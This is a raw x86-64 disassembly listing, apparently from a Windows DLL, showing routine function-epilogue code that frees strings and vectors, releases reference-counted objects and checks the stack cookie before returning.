cmp rdx, 0x1000
jb 0x18009cc30
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0x1e8]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], r15b
cmp rdx, 0x10
jb 0x18009cc8f
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cc8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0x88]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
cmp rdx, 0x10
jb 0x18009cce6
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cce1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0xa8]
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r15b
cmp rdx, 0x10
jb 0x18009cd3d
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd38
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], r15b
cmp rdx, 0x10
jb 0x18009cd97
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd92
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], r15b
cmp rdx, 0x10
jb 0x18009cdf1
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cdec
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], r15b
cmp rdx, 0x10
jb 0x18009ce4b
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce46
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], r15b
cmp rdx, 0x10
jb 0x18009cea0
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce9b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f2
call fcn.1800cd020
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x330]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x370]
call fcn.1800c0190
xor r8d, r8d
lea rdx, [0x18010c0b0]
lea rcx, [rbp + 0x350]
call fcn.1800c0190
mov r12, qword [rbp + 0x308]
mov r13, qword [rbp + 0x300]
inc dword [0x18012da1c]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
mov rcx, qword [rbp + 0x3a8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x3e8]
sub rcx, qword [rbp + 0x390]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x18009cf57
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
jmp 0x18009cf5f
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
sub rcx, qword [rbp + 0x60]
add rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x328]
add rbx, rcx
mov rax, qword [rbp + 0x310]
mov r15, qword [rbp + 0x348]
mov rsi, qword [rbp + 0x388]
mov rdi, qword [rbp + 0x368]
jmp 0x18009bdb0
call qword [0x18012d9a8]
cmp rdi, 0x10
jb 0x18009cfd3
mov rcx, qword [rbp + 0x350]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cfce
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f8
call fcn.1800cd020
cmp rsi, 0x10
jb 0x18009d00e
mov rcx, qword [rbp + 0x370]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d009
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f8
call fcn.1800cd020
cmp r15, 0x10
jb 0x18009d049
mov rcx, qword [rbp + 0x330]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d044
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f8
call fcn.1800cd020
mov r8, qword [rbp + 0x3a0]
test r8, r8
je 0x18009d0c5
mov rcx, qword [rbp + 0x3b0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009d0a7
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2f8
mov rcx, r8
call fcn.1800cd020
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], rsi
jmp 0x18009d0c7
xor esi, esi
mov rcx, qword [rbp + 0x400]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x18009d10e
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d10e
mov rbx, qword [rbp + 0x400]
test rbx, rbx
je 0x18009d10e
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d0f2
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x400], rsi
test rcx, rcx
je 0x18009d13a
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d13a
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x428]
test rcx, rcx
je 0x18009d17a
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d17a
mov rbx, qword [rbp + 0x428]
test rbx, rbx
je 0x18009d17a
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d15e
mov rcx, qword [rbp + 0x448]
mov qword [rbp + 0x428], rsi
test rcx, rcx
je 0x18009d1a6
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d1a6
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x450]
test rax, rax
je 0x18009d1e4
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x18009d1e4
mov rbx, qword [rbp + 0x450]
test rbx, rbx
je 0x18009d1e4
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d1c8
mov rcx, qword [rbp + 0x470]
mov qword [rbp + 0x450], rsi
test rcx, rcx
je 0x18009d210
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d210
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rsp + 0x30]
mov rdx, qword [rbp + 0x328]
cmp rdx, 0x10
jb 0x18009d252
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d24d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d2bc
call fcn.1800cd020
mov rbx, qword [rsp + 0x58]
movups xmm0, xmmword [rbp + 0x2f0]
mov rcx, qword [rsp + 0x60]
movups xmm1, xmmword [rbp + 0x300]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
call fcn.1800bf9e0
mov rcx, r15
call fcn.1800bf9e0
mov rcx, r14
call fcn.1800bf9e0
movaps xmm6, xmmword [rsp + 0x590]
movaps xmm7, xmmword [rsp + 0x580]
mov rax, rbx
mov rcx, qword [rbp + 0x478]
xor rcx, rsp
call fcn.1800ccd60
add rsp, 0x5a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3
call fcn.1800dce48
int3